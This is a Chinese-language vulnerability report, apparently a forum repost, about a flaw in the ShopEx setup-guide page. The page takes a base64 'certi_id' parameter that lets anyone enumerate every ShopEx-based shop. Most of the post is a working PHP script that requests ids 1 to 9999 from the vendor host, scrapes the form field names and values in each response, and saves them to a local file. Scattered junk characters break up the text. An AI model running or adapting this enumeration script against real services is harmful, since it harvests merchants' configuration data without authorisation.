ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
; W- f9 G; ~1 ?% B4 K8 v! z' s) EShopEx某接口缺陷,可遍历所有网站
详细说明：
* }) f7 }( r( w0 o! |4 p问题出现在shopex 网店使用向导页面
2 S9 r/ i" o  [9 C$ H" u
9 p0 b9 ^2 E" q3 y) ~. r- |

) r( W3 o7 S8 L6 Thttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
" L" H7 e! S0 @( {3 j0 q
, W# h, B' V- b0 ~* e, x

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
0 d+ T1 u; T* F: }$ c0 |" c% X
+ g* [5 l' \/ l0 M& _1 N) D

我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


; T4 }% b/ \- Z+ X
4 u- b$ Z$ l7 f+ D& T$ J<?php

' |% X9 k* z* m4 p) ~                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

                }
6 o! M3 x; U! G' ?
                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';
0 y2 y" j0 D# ^" \3 y+ M9 g
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

% g' R' l' @2 n: p6 W        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
( ^, c8 v4 y! Y! H" \" N7 r1 _
        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
8 y9 l. r; r: x4 V" h3 p  J6 a$ @
' k8 \1 \# _" \* P& J- x/ Q        if(strpos($result,$refer))
8 c, \* W9 h1 V8 c$ U
        {

# A9 \# g% d6 Y2 [& H' E& i                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
  [$ M* y4 X1 f9 @$ G
  s6 r$ E. ]2 V+ P/ [! F                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
7 h9 d" g7 {  {+ G1 a8 Z& D2 |
0 T! H: D$ {: R. I0 P1 m+ R                foreach ($value[1] as $key) {
) _& [) ^& \. m) {$ Q# S; Y+ o% r" q0 R
) `# z+ x$ [8 j9 I7 q1 }                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
# @0 h0 R3 T! B+ ]/ A: g
  `! A- f. w5 n+ h# n                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";
' E& ^& F. s$ {* W) a" ?
                        fwrite($fp, $col, strlen($col));

                }
# z9 U1 o" O# x5 `! r
6 Q# @# s0 J2 [+ k                echo '--------------------------------'."\r\n";
! n5 s7 @( ]! j, A+ P
                fclose($fp);
1 z  P- U& V" e1 D. w8 t
& p, q- I3 d+ C' m9 d        }

        flush();
) i  s1 Z* I6 `
        curl_close($ch);
) ]: Y- L; E! C4 x. X0 v
2 Y  o8 {9 X$ p* a+ n6 C5 R/ I& j; z                }

& H: z  J/ R. b?>
! D5 S/ U5 v+ A; V/ B) H漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
' G& T$ r* L7 ^; arefer换成其他加密方式
% L, C* l7 s- v% H8 Z2 P9 E